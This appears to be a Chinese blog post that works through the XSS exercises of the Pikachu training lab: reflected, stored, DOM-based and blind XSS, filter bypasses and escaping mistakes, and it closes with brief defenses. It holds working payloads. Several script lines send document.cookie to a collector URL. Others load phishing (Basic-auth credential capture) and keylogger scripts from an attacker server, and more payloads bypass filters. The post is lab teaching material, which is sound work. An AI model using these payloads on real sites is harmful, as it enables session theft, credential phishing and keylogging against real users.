XSS注入
XSS
原理:
程序对输入和输出没有做合适的处理,导致“精心构造”的字符输出在前端时被浏览器当作有效代码解析执行从而产生危害。
分类 :
危害:存储型 > 反射型 > DOM型
反射型XSS:<非持久化>
交互的数据一般不会被存在数据库里面,一次性 ,所见即所得,一般出现在查询页面等存储型XSS:<持久化>
交互的数据会被存在数据库里面,永久性存储 ,一般出现在留言板,注册等页面DOM型XSS:<基于文档对象模型DOM的漏洞>
不与后台服务器产生数据交互,是一种通过DOM操作前端代码 输出的时候产生的问题,一次性 ,也属于反射型
常见用途:
Cookie劫持
构造GET与POST请求
XSS钓鱼
获取用户的真实IP地址
测试流程:
在目标上找输入点,比如查询接口、留言板
输入一组 “特殊字符(>,',"等)+唯一识别字符” ,点击提交后,查看返回源码,看后端返回的数据是否有处理
通过搜索定位到唯一字符,结合唯一字符前后语法确定是否可以构造执行js的条件(构造闭合)
提交构造的脚本代码(以及各种绕过姿势),看是否可以成功执行,如果成功执行则说明存在XSS漏洞
一、反射型XSS(get)
当输入内容时, 发现内容被执行写入当网页
<>6666
直接进行注入
<script>alert(document.cookie)</script>
<script>alert("222")</script>
发现,对输入的字符串的有长度限制
方法一
修改前端代码
修改为100后, 可以输入完整的长度,成功弹窗
方法二
抓包修改
二、反射性XSS(post)
利用xss盗取用户的cookie,模拟了一个用户登录的过程
登录成功后, 就和Get型一样的界面了
但是和xss(get)不同,在xss(get)可以直接在url上构造payload
http://192.168.132.132/pikachu/vul/xss/xss_reflected_get.php?message=<script>document.location='http://192.168.132.132/pikachu/pkxss/xcookie/cookie.php?cookie='+document.cookie</script>&submit=submit
来诱使用户点击, 盗取用户的cookie
url中cookie为被攻击者的cookie
通过使用短链接进行伪装,使被攻击者不会意识到这是攻击url
因为在POST方式中, 就算将构造好(含攻击代码)的URL给用户点击了, 也不会直接触发拿到cookie, 反而会直接弹出用户登录提示。
这时候我们就得用一个服务器(攻击者的), 伪造POST请求去登录, 并且盗取用户登录成功后的cookie
xss后台搭建
pkxss目录下inc/config.inc.php文件需要进行配置,配置完成后,初始化数据库
存在cookie搜集、钓鱼结果、键盘结果3个模块
cookie搜集模块中,存放被攻击者cookie的数据
先修改xss后台下的pkxss/xcookie/cookie.php文件,将IP地址改为漏洞服务器的地址,使被攻击者不知道自己被攻击了
该后台为本地搭建,所以地址为本地
模拟用户点击该网址
<script>document.location='http://192.168.132.132/pikachu/pkxss/xcookie/cookie.php?cookie='+document.cookie</script>
192.168.132.132是攻击者也是被攻击者,收集被攻击者cookie的服务器地址(也是本地), (需要进行URL编码才能访问)
访问之后, 自动重定向首页, (是为了不让用户察觉被攻击的事实), 如果重定向其他地址, 用户就会知道被攻击了
查看cookie收集模块,存放被攻击者的cookie
三、存储型XSS
如果论坛留言板模块,存在存储型XSS漏洞,会将payload存储到网站数据库,每一个用户浏览留言板的时候都会被攻击,这种攻击时持久化攻击
输入payload,进行尝试测试
漏洞利用
- 注入跳转网页
<script>document.location='https://www.cnblogs.com/confidant'</script>
注:每次进入留言版,都会跳转,需要进入数据库中,删除该条数据
- 网站钓鱼
pikachu靶场中存在一个pkxss目录下/xfish目录,其中存放关于钓鱼脚本
钓鱼脚本使用的是 Basic认证 ** ,**
我们在这个页面上嵌入一个恶意请求,当用户打开这个页面时, 就会向攻击者的服务器发送请求,这个请求会返回一个Basic认证的头部: 会弹出一个提示框,要求受害者输入账号密码,从而盗取用户的账号密码。(比较明显的攻击方式)
配置脚本pkxss/xfish/fish.php,将往重定向网址修改管理后台
然后将攻击恶意代码嵌入留言板中: (弄一个弹窗来判断是否成功注入, 现实中弹窗就太嚣张了...)
<script src="http://192.168.132.132/pikachu/pkxss/xfish/fish.php"></script>
当被攻击者输入自己的密码就会被钓鱼, 钓鱼信息存储在攻击者服务器上,地址为
http://192.168.132.132/pikachu-master/pkxss/xfish/pkxss_fish_result.php
可以看到刚刚被钓鱼的用户信息, (并且信息存储在数据库中)
- 获取键盘记录
攻击js脚本位于网站目录下的 pkxss/rkeypress/rk.js
同样需要将网址修改为攻击者的地址(也就是本机地址)
上面脚本获取了用户的键盘记录后, 再重定向到 rkserver.php
AJAX的请求默认情况下是不能跨域的,这个请求默认情况下是会失败的
去 /var/www/html/pikachu/pkxss/rkeypress 中 rkserver.php删除注释
攻击者往留言板注入恶意代码
<script src='http://192.168.132.132/pikachu/pkxss/rkeypress/rk.js'></script>
然后在页面上随意输入键盘, 会调用rkserver.php记录键盘活
访问xss键盘记录后台
http://192.168.10.100/pikachu/pkxss/rkeypress/pkxss_keypress_result.php
四、DOM型XSS
DOM可以理解为访问HTML的标准接口,DOM里面会把我们的HTML分成一个DOM树
测试'"<>?&6666
输入图中的内容,观察到如下输出,发现和输入的内容有区别
观察页面源码
这里有段JS代码,它通过 getElementById 获取到了标签 Id 为 text的内容赋值给str然后又把 str 的内容通过字符串拼接的方式写到了 a 标签的 href 属性中,a标签会写到 Id 为 dom的 div 标签中
漏洞利用
方法一
利用JavaScript协议
javascript:alert("You are attacked !!")
方法二
绕过闭合
我们通过闭合的方式构造Payload
' onclick="alert('xss')">
造成DOM型XSS的原因是前端的输入被DOM给获取到了,通过DOM又在前端输出,跟反射型和存储型比起来,它是不经过后台交互的
五、DOM型XSS
进行测试
'2"$&#<>/\
查看源代码,将/+/g
这里也有个JS代码,它定义了一个domxss函数它利用 window.location.search 获取浏览器中URL的内容,然后赋值给 str然后经过URL解码和字符串分隔,取出URL中的参数内容再把 “+” 替换为 “ ”(空格),赋值给 xss
最后把 xss 拼接到 a 标签中,然后写到 Id 为 dom 的 div 标签中
' onclick="alert('xss')">
六、XSS盲打
XSS盲打不是攻击类型,而是一个攻击场景
当我们输入内容并提交的时候,
我们输入数据,提交后我们输入的内容不会在前对输出,而是提交到了后台,可能管理员会去看,如果我们输入一个JS代码,管理员登录后台管理界面,如果后台把我们的内容输出,那后台管理员可能遭受到我们的XSS攻击,我们提交以下内容
发现内容无法在网页前端显示出来, 也就是没有写入到前端页面, 而是提交到了后台
倘若注入xss, 则无法得知是否xss被执行, 但是管理员回去看, 假如我们注入了xss代码, 同时管理员又访问了后台, 且后台把我们的内容输出, 那么后台管理员可能遭受到我们的XSS攻击
并登录后台管理界面(账号密码为admin,123456)
http://192.168.132.132/pikachu/vul/xss/xssblind/admin_login.php
一登录进来就遭受了XSS攻击
七、XSS之过滤
在实际的网站中,或多或少都会做一些安全措施,但是这些安全措施也存在方法、逻辑不严谨,可以被绕过
转换的思路
前端限制绕过,直接抓包重放,或者修改html前端代码。比如反射型XSS(get)中限制输入20个字符。
大小写,比如。后台可能用正则表达式匹配,如果正则里面只匹配小写,那就可能被绕过。
双写(拼凑),<script>。后台可能把 // 大小写混合绕过
// img标签
![](https://img2020.cnblogs.com/blog/2348478/202109/2348478-20210919175308999-625397856.png) ## 八、XSS之htmlspecialchars --- htmlspecialchars() 函数 PHP里面把预定义的字符转换为HTML实体的函数 预定义的字符是 - & 成为 & - " 成为 " - ' 成为 ' - < 成为 < - 成为 > 可用引号类型 - ENT_COMPAT:默认,仅编码双引号 - ENT_QUOTES:编码双引号和单引号 - ENT_NOQUOTES:不编码任何引号 输入"<>?#'&6666,进行测试 ![](https://img2020.cnblogs.com/blog/2348478/202109/2348478-20210919175308803-1966818039.png) 可以看到 ",>和<都经过了编码,剩下的字符没有,单引号依然可以使用 我们可以构造下面的Payload,我们在Payload前后都添加一个单引号用于闭合 href 中的单引号 ```Bash
' onclick=alert(1111) '
九、XSS之href输出
查看源代码
这个页面会接收我们的输入的message,然后判断我们输入的网址,如果输入的不是百度会对我们输入的内容用 htmlspecialchars() 进行处理
这个函数转义单引号、双引号和左右尖括号
然后输出到 a 标签的 href 属性中,在 a 标签的href属性中,可以用javascript协议来执行JS
构造Payload如下,没有上面被转义的字符
javascript:alert(111)
十、XSS之js输出
输入数据,查看源代码
它会把我们的输入放到JS中,然后对这个变量进行判断,然后再输出
我们可以构造一个闭合,先闭合script标签,然后再插入自己的JS代码
'</script><script>alert('xss')</script>
这个漏洞的输出点是在JS中,通过用户的输入动态生成了JS代码
JS有个特点,它不会对实体编码进行解释,如果想要用htmlspecialchars对我们的输入做实体编码处理的话在JS中不会把它解释会去,这样解决了XSS问题,但不能构成合法的JS
所以在JS的输出点应该对应该使用 \对特殊字符进行转义
防御措施
对输入(和URL参数)进行过滤,对输出进行编码
输入的时候只允许 http 或 https 开头的协议,才允许输出,其次再进行htmlspecialchars(html编码)处理
过滤或移除js 事件的标签和特殊的 html 标签
设setcookie=true,使cookie不能被js获取
参考文章
https://blog.csdn.net/angry_program/article/details/104373952
XSS注入的更多相关文章
- 富文本编辑器防止xss注入javascript版
富文本编辑器:ueditor 其实富文本编辑器已经有防止xss注入功能,但是你服务端程序在接收的时候在做一次转义,否则有可能然后前端验证直接提交数据导致被xss攻击. 为了节省后端程序开销则在前端 显 ...
- 基于DOM的XSS注入漏洞简单解析
基于DOM的XSS注入漏洞简单解析http://automationqa.com/forum.php?mod=viewthread&tid=2956&fromuid=21
- 【web安全】第一弹:利用xss注入获取cookie
首先一定要先来吐槽一下tipask系统.这是一枚开源的类似百度知道的系统,但是漏洞多多,最基本的XSS注入都无法防御. 言归正传: [准备1] cookie接收服务器. 平时喜欢用sae,所以在sae ...
- 中间人攻击工具mitmf(另类的XSS注入攻击)
中间人攻击工具mitmf(另类的XSS注入攻击) (一)简介 (二)安装 (三)结合beef使用 (一)简介 Mitmf 是一款用来进行中间人攻击的工具.它可以结合 beef 一起来使用,并利用 be ...
- 初级安全入门——XSS注入的原理与利用
XSS的简单介绍 跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets,CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS.恶意攻击者 ...
- web安全之XSS注入
之前在做项目的时候有遇到一些安全问题,XSS注入就是其中之一 那么,什么是XSS注入呢? XSS又叫CSS (Cross Site Script) ,跨站脚本攻击.它指的是恶意攻击者往Web页面里插入 ...
- StringEscapeUtils的常用使用,防止SQL注入及XSS注入
StringEscapeUtils的常用使用,防止SQL注入及XSS注入 2017年10月20日 11:29:44 小狮王 阅读数:8974 版权声明:本文为博主原创文章,转载请注明出处. htt ...
- XSS 注入检查点
如果你有个论坛,一般你会很注意用户发帖的注入问题,往往这个地方不会被注入,因为开发特别照顾.原则上XSS都是用户输入的,但是许多边角还是容易忽略.枚举一些检查点. 分页 分页通用组件获取url,修改p ...
- Java Filter过滤xss注入非法参数的方法
http://blog.csdn.NET/feng_an_qi/article/details/45666813 Java Filter过滤xss注入非法参数的方法 web.xml: <filt ...
- XSS注入方式和逃避XSS过滤的常用方法(整理)
(转自黑吧安全网http://www.myhack58.com/) web前端开发常见的安全问题就是会遭遇XSS注入,而常见的XSS注入有以下2种方式: 一.html标签注入 这是最常见的一种,主要入 ...
随机推荐
- 建立局域网内使用的CentOS7源
建立局域网内使用的CentOS7源 by 无若 1. 在CentOS下建立匿名的FTP访问服务 CentOS 7下安装配置pure-ftpd,并使用匿名用户登录 Pure-FTPd是Linux上 ...
- 剖析虚幻渲染体系(10)- RHI
目录 10.1 本篇概述 10.2 RHI基础 10.2.1 FRenderResource 10.2.2 FRHIResource 10.2.3 FRHICommand 10.2.4 FRHICom ...
- 自定义流式布局:ViewGroup的测量与布局
目录 1.View生命周期以及View层级 1.1.View生命周期 1.2.View层级 2.View测量与MeasureSpec类 2.1.MeasureSpec类 2.2.父View的限制 :测 ...
- 手把手和你一起实现一个Web框架实战——EzWeb框架(五)[Go语言笔记]Go项目实战
手把手和你一起实现一个Web框架实战--EzWeb框架(五)[Go语言笔记]Go项目实战 代码仓库: github gitee 中文注释,非常详尽,可以配合食用 本篇代码,请选择demo5 中间件实现 ...
- SQL injection:Summary ,Overview and Classification
What is SQL injection (SQLi)? SQL注入是一种web安全漏洞,让攻击者干扰应用程序对其数据库的查询. 它通常使得攻击者查看他们通常无法检索的数据. 这可能包括属于其他用户 ...
- 动态规划_C#
参考网址:https://blog.csdn.net/lvcoc/article/details/104167648 先不管动态规划,先看斐波那契数列 斐波那契数列:F1=Fn-1+Fn-2 分别用递 ...
- 多线程同步AutoResetEvent 和ManualResetEvent
- WPF学习笔记一 依赖属性及其数据绑定
本文想通过由浅入深的讲解让读者比较深的理解依赖属性. 首先,我们回顾一下依赖属性的发展历史. 最初,人们提出面向对象编程时,并没有属性这个说法,当时叫做成员变量.一个对象由成员变量和成员函数组成,如 ...
- C#异步编程 Task await的理解
async/await是C#5.0中推出的,先上用法: static void Main(string[] args) { Console.WriteLine("-------主线程启动-- ...
- Windows搭建mac黑苹果系统
最近看到一个开源工具tidevice,是可以脱离mac来做ios自动化测试的.看到这么方便,就想着来尝尝鲜.但由于使用该工具,是需要基于WebDriverAgent的,该工具又需要使用Xcode重签名 ...